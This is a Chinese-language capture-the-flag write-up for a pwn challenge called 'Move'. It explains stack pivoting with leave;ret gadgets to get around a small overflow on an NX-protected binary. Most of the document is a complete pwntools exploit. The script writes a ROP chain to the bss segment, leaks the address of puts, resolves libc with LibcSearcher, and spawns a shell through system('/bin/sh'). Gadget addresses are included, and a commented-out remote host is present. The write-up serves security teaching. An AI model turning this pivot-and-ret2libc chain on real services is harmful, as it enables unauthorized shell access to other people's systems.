# Move
一道栈迁移的题
开启了 NX 无法写入 shellcode 去执行
vunl
函数里的 read 可以进行溢出,但是只能溢出 0x10 个字节,不能满足我们构造 rop 的大小,但是 main 函数里第一个 read 写 0x20 个字节往 bss 段内,这个大小可以用来构造 rop,所以要进行栈迁移
# 栈迁移:
栈迁移要利用 leave 和 ret
leave:
mov esp , ebp
pop ebp
ret:
pop eip
首先要利用栈迁移需要通过溢出来改写部分数据,将 ebp 的值改为伪造的栈的栈顶, ret
一般改到 read 处来改写伪造的栈的数据【使伪造的栈的栈顶( fake_esp
)存入 fake_ebp
的栈低】
栈迁移要使用两次 leave_ret
来转移栈
第一次 leave_ret 后:
leave
ret
第二次 leave_ret
后
leave
ret
pop eip // 将 system_plt 给 eip 让它去执行,这里就可以 getshell 了,然后 eip+4
# 根据上面的流程构造 exp:
首先利用第一个写入 bss 段的 read 来构造泄露 puts 真实地址的 rop
在输入使 a1=305419896,然后进行栈迁移,迁移到 bss 段上执行我们已经构造好的 rop, 最后返回到 mian
函数
通过上面一次的执行利用泄露的 puts地址
计算得到 libc
基地址,重新往 bss
段上写入 ( system("/bin/sh")
),这里是利用 ret2libc
来 getshell
pop_rdi 和 leave_ret:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=process('./pwn') | |
e=ELF('./pwn') | |
#p=remote('47.93.188.210',28123) | |
write_plt=e.plt["write"] | |
write_got=e.got["write"] | |
puts_plt=e.plt["puts"] | |
puts_got=e.got["puts"] | |
bbs_esp=0x0000000004050A0 | |
#bbs_ebp=0x00000000040519F | |
leave_ret=0x000000000040124b | |
main=0x0000000000401264 | |
rdi_ret=0x0000000000401353 | |
p.recvuntil("lets travel again!") | |
payload1=p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) | |
p.send(payload1) | |
p.recvuntil("Input your setp number") | |
p.send(p32(305419896)) | |
p.recv() | |
payload2=b"a"*(0x30)+p64(bbs_esp-8)+p64(leave_ret) | |
p.send(payload2) | |
#gdb.attach(p) | |
#pause() | |
puts=u64(p.recv(6).ljust(8,b'\x00')) | |
log.info("puts="+hex(puts)) | |
libc=LibcSearcher("puts",puts) | |
libc_base=puts-libc.dump("puts") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
p.recvuntil("lets travel again!") | |
payload1=p64(rdi_ret)+p64(binsh)+p64(system)+p64(main) | |
p.send(payload1) | |
p.recv() | |
p.send(p32(305419896)) | |
payload3=b"a"*(0x30)+p64(bbs_esp-8)+p64(leave_ret) | |
p.send(payload3) | |
p.interactive() |